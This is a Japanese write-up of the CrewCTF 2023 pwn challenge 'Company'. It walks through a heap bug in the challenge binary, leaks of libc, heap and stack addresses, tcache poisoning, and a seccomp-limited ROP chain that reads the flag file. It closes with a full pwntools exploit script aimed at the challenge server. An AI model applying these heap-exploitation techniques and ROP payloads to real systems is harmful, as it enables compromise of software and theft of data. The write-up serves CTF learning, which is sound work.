CrewCTF 2023 Company writeup
CrewCTF 2023のWrite upです.
コンテスト中にpwn問が解けなかったのでupsolveしつつまとめました.
間違いや不適切な記述等ありましたらご指摘お願いします.
Company
ファイルが手元にある前提で書いているため,持ってない方はダウンロードすることをおすすめします.Discordのアナウンスによるとあと数日でスコアサーバーが閉じられてしまうそうです.
challenges can still be found https://crewc.tf/challenges here till we get the website down ( likely few days )!!!
解析
バイナリ,リンカ,libcが渡されます.libcのバージョンが2.37だったので最新のlibc何もわからんなぁと思いながらとりあえずcompanyのバイナリを解析しました.
とりあえずいつも通りchecksec
を実行します.
PIEが無効であることがわかりました.
セキュリティ機構の確認
細かい挙動については各自解析してもらうあとで書くことにして,ここでは一番重要なemployee構造体だけ書いておきます.
struct employee {
char name[0x20]; //0x0~0x20
char position[0x20]; //0x20~0x40
void* feedback; //0x40~0x48
long long salary; //0x48~0x50
};
feedbackとemployeeはどちらもheapに保存されます.サイズがどちらも同じであるので,以前feedbackであった位置をemployeeに割り当てることで任意の値を持つemployeeを作成することができるという脆弱性があります.この脆弱性と,4の"view feedback employee"を使うと任意のアドレスを読み出すことができます.また,以下の流れでchunk_headerを偽造した領域に任意書き込みをおこなうこともできます.
- employee Zを作成
- employee Aを作成
- A -> A のfeedbackを作成し,0x40バイト目に任意書き込みを行いたいアドレスを入力
- Aをfire
- employee Bを作成
- Bをfire
- Z -> Z のfeedbackを作成 (内容が3で入力したアドレスに保存される)
攻撃
- view feeedback employeeの開放
- libc leak
- heap leak
- stack leak
- RIP取得
- ROP
これらを順番に達成できれば任意コード実行ができそうです.
以下示すコードに使われているシンボルの定義をしておきます
sa = lambda x, y: t.sendafter(x, y)
sla = lambda x, y: t.sendlineafter(x, y)
to64 = lambda x: u64(x.ljust(8, b"\x00"))
view feedback employeeの開放
0x00401771にある関数をview_feedbackと呼ぶことにします.
view_feedbackの中身を読むと,0x404080の中身がHRと等しいかどうかのチェックが存在し,このアドレスには初期化時にStaffが代入されるので書き換えてあげる必要があります.
以下のコードではnameをchunk_headerとして使ったため,0x404070をfreeしています.
sla(b"name? ", p64(0) + p64(0x61))
register(0, b"", b"HR", 0)
register(1, b"", b"HR", 0)
feedback(1, 1, b"@" * 0x40 + p32(0x404070))
fire(1)
register(1, b"", b"", 0)
fire(1)
feedback(0, 0, b"@" * 0x10 + b"HR")
libc leak
PIEが無効なので,GOTテーブルを読むとlibc leakができます.
register(1, b"", b"HR", 0)
feedback(1, 1, b"@" * 0x40 + p32(0x403FA0))
fire(1)
register(1, b"", b"HR", 0)
libc_base = u64(view(1).ljust(8, b"\x00")) - 0x7AA10
info(f"{libc_base=:x}")
stack leak
libcがleakできたのでenvironを読むとleakできます.
register(1, b"", b"HR", 0)
feedback(1, 1, b"@" * 0x40 + p64(libc.sym["environ"]))
fire(1)
register(1, b"", b"HR", 0)
stack_base = u64(view(1).ljust(8, b"\x00"))
info(f"{stack_base=:x}")
heap leak
PROTECT_PTR[1]があるのでtcache binに繋がれた最後の要素には pos >> 12 が入ります.それを読み出してあげればheap_baseがleakできます.
register(1, b"", b"HR", 0)
feedback(1, 1, b"")
fire(1)
register(1, b"", b"HR", 0)
register(2, b"", b"HR", 0)
feedback(1, 1, b"")
fire(1)
heap_base = to64(view(2)) << 12
info(f"{heap_base=:x}")
rip取得
最初にexit_funcsを使う方法[2]を試しましたが,libc2.37ではlibc_baseからtcbhead_tまでのオフセットが毎回変わるようになっており,pointer_guardを読み出す方法が思いつかなかったので挫折しました.(そもそもexcve
が使えないというのは後で気づきました)
なのでstagerを作ってROPをすることにしました.
Freeされた領域のfdを書き換えることで次のmalloc時に任意のアドレスをtcache binの先頭に入れられるという仕組みを利用し,tcache binの先頭にstackのアドレスを入れました.
tcache binの書き換え
連続した2つの領域を得るためにtcache binを空にします.しかし,tcache binが空になられると今度は任意のアドレスにmallocする前にtcache countが0になってしまいうまく動かなくなるので,tcache countを増やすために0xFをfireしています.
feedback(0, 0, b"")
feedback(0, 0, b"")
feedback(0, 0, b"")
feedback(0, 0, b"")
feedback(0, 0, b"")
register(0xF, b"", b"HR", 0)
feedback(0xF, 0xF, b"")
fire(0xF)
fdの書き換え
あとはfdを書き換えてtcache binの先頭がstackを指すようにしてあげれば良いです.
register(1, b"", b"", 0x61)
register(2, b"", b"HR", 0)
fake_chunk_header = heap_base + 0x10C0
info(f"fake chunk: {fake_chunk_header=:x}")
feedback(2, 2, b"@" * 0x40 + p64(fake_chunk_header))
fire(2)
register(2, b"", b"", 0)
fire(2)
ret_ptr = stack_base - 0x168
info(f"{ret_ptr=:x}")
feedback(0,0,p64(0) + p64(0x61) + p64(mangle(fake_chunk_header + 0x10, ret_ptr)))
feedback(0, 0, b"")
ROP
最後に/bin/sh
を呼び出して終わり...とは行きませんでした.
seccomp_ruleが適用されており,使えるsyscallはsys_read
,sys_write
,sys_open
,sys_getdents
の4つのみに限定されているためです.なのでまずsys_getdents
を使ってlsのようなことをして,flagの名前を特定する必要があります.まずは一通り使えそうなgadgetを定義しておきます.
pop_rdi = libc_base + 0x24821
pop_rsi = libc_base + 0x2573E
pop_rdx = libc_base + 0x26302
pop_rax = libc_base + 0x1205E3
syscall = libc_base + 0x8B9B6
heap_tmp = heap_base + 0x2000
read_size = 0x1000
stager
疑似lsを行う前に,現在書き込みを行えるサイズが0x48のみとかなり狭いため,stagerを用意します.
なお,rdiを0にする命令がコメントアウトされているのは,ret命令に来る時点ですでに0にセットされているためです.
stager = (
p64(pop_rax)
+ p64(0)
# + p64(pop_rdi)
# + p64(0)
+ p64(pop_rsi)
+ p64(rbp + 8 * (1 + 7)) #rpb + stagerのサイズ
+ p64(pop_rdx)
+ p64(0x1000)
+ p64(syscall)
)
feedback(0, 0, p64(stack_base - 0x128) + stager)
これで0x1000byte書き込めるようになりました.
flag名の取得
まずはsys_getdents
を使って疑似lsをします.参考にしたページ
int fd = open(".",O_RDONLY | O_DIRECTORY);
int nread = syscall(SYS_getdents, fd, buf, 0x1000);
for (size_t bpos = 0; bpos < nread;) {
struct linux_dirent *d = (struct linux_dirent *) (buf + bpos);
printf("%s\n",d->d_name);
bpos += d->d_reclen;
}
これをROPで書き直すとこうなります.
payload = (
p64(pop_rax)
+ p64(2)
+ p64(pop_rdi)
+ p64(0x404088)
+ p64(pop_rsi)
+ p64(0x10000)
+ p64(syscall)
)
payload += (
p64(pop_rax)
+ p64(78)
+ p64(pop_rdi)
+ p64(3)
+ p64(pop_rsi)
+ p64(heap_tmp)
+ p64(pop_rdx)
+ p64(read_size)
+ p64(syscall)
)
payload += (
p64(pop_rax)
+ p64(1)
+ p64(pop_rdi)
+ p64(1)
+ p64(pop_rsi)
+ p64(heap_tmp + 0x13)
+ p64(pop_rdx)
+ p64(read_size)
+ p64(syscall)
)
t.send(payload)
ls = t.recv(read_size)
info(re.findall(r'[0-9A-z-._]{3,}',"".join([chr(e) for e in ls])))
使われてないheap領域にsys_getdents
して,それを読み出しています.
なお,"."という文字列を保存する場所として,0x404088を選びました.0x404080にHRという文字列を保存したあとの領域が余っていたためです.view feedback employeeの開放のコードを下のように書き換えました.
lstr = lambda x: x.ljust(8, b"\x00")
feedback(0, 0, b"@" * 0x10 + lstr(b"HR") + lstr(b".") + lstr(b"/") + lstr(b"~"))
これを実行するとflagファイルの名前がflag_you_found_this_my_treasure_leaked.txt
であることがわかります.
疑似lsの実行結果
flagの読み出し
あとはこのファイルの中身をメモリ上に展開するだけです.以下のコードを実行すると展開して読み出すことができます.
payload = (
p64(pop_rax)
+ p64(2)
+ p64(pop_rdi)
+ p64(heap_base + 0x10D0)
+ p64(pop_rsi)
+ p64(0x0)
+ p64(syscall)
)
payload += (
p64(pop_rax)
+ p64(0)
+ p64(pop_rdi)
+ p64(3)
+ p64(pop_rsi)
+ p64(heap_tmp)
+ p64(pop_rdx)
+ p64(read_size)
+ p64(syscall)
)
payload += (
p64(pop_rax)
+ p64(1)
+ p64(pop_rdi)
+ p64(1)
+ p64(pop_rsi)
+ p64(heap_tmp)
+ p64(pop_rdx)
+ p64(read_size)
+ p64(syscall)
)
t.send(payload)
info(t.recv(read_size).replace(b"\x00", b""))
なお,flag_you_found_this_my_treasure_leaked.txt
はRIP取得最後のフィードバック時にヒープ上に置くようにしました.0x404080のあとに置こうとするとemployeeを保存する場所に被ってしまうためです.
スクリプト
最終的に出来上がった攻撃スクリプトが以下になります.
from pwn import *
context.arch = "amd64"
context.bits = 64
context.terminal = "tmux splitw -h".split()
context.log_level = "DEBUG"
def solve():
sa = lambda x, y: t.sendafter(x, y)
sla = lambda x, y: t.sendlineafter(x, y)
sf = lambda x: f"{x}".encode()
to64 = lambda x: u64(x.ljust(8, b"\x00"))
mangle = lambda pos, ptr: (pos >> 12) ^ ptr
def register(idx: int, name: bytes, pos: bytes, salary: int):
sla(b">>", b"1")
sla(b"Index:", sf(idx))
sa(b"Name:", name + b"\x00")
sa(b"Position:", pos + b"\x00")
sla(b"Salary: ", sf(salary))
def fire(idx: int):
sla(b">> ", b"2")
sla(b"Index:", sf(idx))
def feedback(fr: int, to: int, content: bytes):
sla(b">> ", b"3")
sla(b"are?", sf(fr))
sla(b"back?", sf(to))
if content.endswith(b"\x00"):
sa(b"Feedback: ", content)
else:
sa(b"Feedback: ", content + b"\x00")
def view(idx: int) -> bytes:
sla(b">> ", b"4")
sla(b"see?", sf(idx))
return t.recvuntil(b"1. ")[11:-4]
# make myself HR
sla(b"name? ", p64(0) + p64(0x61))
register(0, b"", b"HR", 0)
register(1, b"", b"HR", 0)
feedback(1, 1, b"@" * 0x40 + p64(0x404070))
fire(1)
register(1, b"", b"", 0)
fire(1)
lstr = lambda x: x.ljust(8, b"\x00")
feedback(
0,
0,
b"@" * 0x10 + lstr(b"HR"),
)
# heap leak
register(1, b"", b"HR", 0)
feedback(1, 1, b"")
fire(1)
register(1, b"", b"HR", 0)
register(2, b"", b"HR", 0)
feedback(1, 1, b"")
fire(1)
heap_base = to64(view(2)) << 12
info(f"{heap_base=:x}")
feedback(2, 2, b"")
fire(2)
# libc leak
register(1, b"", b"HR", 0)
feedback(1, 1, b"@" * 0x40 + p64(0x403FA0))
fire(1)
register(1, b"", b"HR", 0)
libc_base = u64(view(1).ljust(8, b"\x00")) - 0x7AA10
info(f"{libc_base=:x}")
libc.address = libc_base
feedback(1, 1, b"")
fire(1)
# stack leak
register(1, b"", b"HR", 0)
feedback(1, 1, b"@" * 0x40 + p64(libc.sym["environ"]))
fire(1)
register(1, b"", b"HR", 0)
stack_base = u64(view(1).ljust(8, b"\x00"))
info(f"{stack_base=:x}")
feedback(1, 1, b"")
fire(1)
# # canary leak
# canary_loc = stack_base - 0x12F
# register(1, b"", b"HR", 0)
# feedback(1, 1, b"@" * 0x40 + p64(canary_loc))
# fire(1)
# register(1, b"", b"HR", 0)
# canary = u64(view(1)[:7].ljust(8, b"\x00")) << 8
# info(f"{canary=:x}")
# feedback(1, 1, b"")
# fire(1)
# empty tcache
feedback(0, 0, b"")
feedback(0, 0, b"")
feedback(0, 0, b"")
feedback(0, 0, b"")
feedback(0, 0, b"")
# overwrite fd
register(0xF, b"", b"HR", 0)
feedback(0xF, 0xF, b"")
fire(0xF)
register(1, b"", b"", 0x61)
register(2, b"", b"HR", 0)
fake_chunk_header = heap_base + 0x10C0
info(f"fake chunk: {fake_chunk_header=:x}")
feedback(2, 2, b"@" * 0x40 + p64(fake_chunk_header))
fire(2)
register(2, b"", b"", 0)
fire(2)
rbp = stack_base - 0x168
info(f"{rbp=:x}")
feedback(
0,
0,
p64(0) + p64(0x61) + p64(mangle(fake_chunk_header + 0x10, rbp)),
)
feedback(0, 0, b"flag_you_found_this_my_treasure_leaked.txt")
# ROP
pop_rdi = libc_base + 0x24821
pop_rsi = libc_base + 0x2573E
pop_rdx = libc_base + 0x26302
pop_rax = libc_base + 0x1205E3
syscall = libc_base + 0x8B9B6
heap_tmp = heap_base + 0x2000
read_size = 0x1000
stager = (
p64(pop_rax)
+ p64(0)
# + p64(pop_rdi)
# + p64(0)
+ p64(pop_rsi)
+ p64(rbp + 8 * (1 + 7)) # rpb + nint
+ p64(pop_rdx)
+ p64(0x500)
+ p64(syscall)
)
feedback(0, 0, p64(stack_base - 0x128) + stager)
# payload = ( p64(pop_rax) + p64(2) + p64(pop_rdi) + p64(0x404088) + p64(pop_rsi) + p64(0x10000) + p64(syscall))
# payload += ( p64(pop_rax) + p64(78) + p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_tmp) + p64(pop_rdx) + p64(read_size) + p64(syscall))
# payload += ( p64(pop_rax) + p64(1) + p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_tmp + 0x13) + p64(pop_rdx) + p64(read_size) + p64(syscall))
# info(re.findall(r'[0-9A-z-._]{3,}',"".join([chr(e) for e in ls])))
payload = (
p64(pop_rax)
+ p64(2)
+ p64(pop_rdi)
+ p64(heap_base + 0x10D0)
+ p64(pop_rsi)
+ p64(0x0)
+ p64(syscall)
)
payload += (
p64(pop_rax)
+ p64(0)
+ p64(pop_rdi)
+ p64(3)
+ p64(pop_rsi)
+ p64(heap_tmp)
+ p64(pop_rdx)
+ p64(read_size)
+ p64(syscall)
)
payload += (
p64(pop_rax)
+ p64(1)
+ p64(pop_rdi)
+ p64(1)
+ p64(pop_rsi)
+ p64(heap_tmp)
+ p64(pop_rdx)
+ p64(read_size)
+ p64(syscall)
)
t.send(payload)
info(t.recv(read_size).replace(b"\x00", b""))
t.interactive()
debug = 0
radare = 0
# t: tubes.process.process = process("./company", env={"LD_PRELOAD": "./libc.so.6"})
t: tubes.remote.remote = remote("company.chal.crewc.tf", 17001)
elf: ELF = ELF("./company")
libc: ELF = ELF("./libc.so.6")
if debug:
script = """
"""
if radare:
util.proc.wait_for_debugger(util.proc.pidof(t)[0])
else:
gdb.attach(t, script)
solve()
おわりに
これが22solveされる世界怖すぎませんか?????
Discussion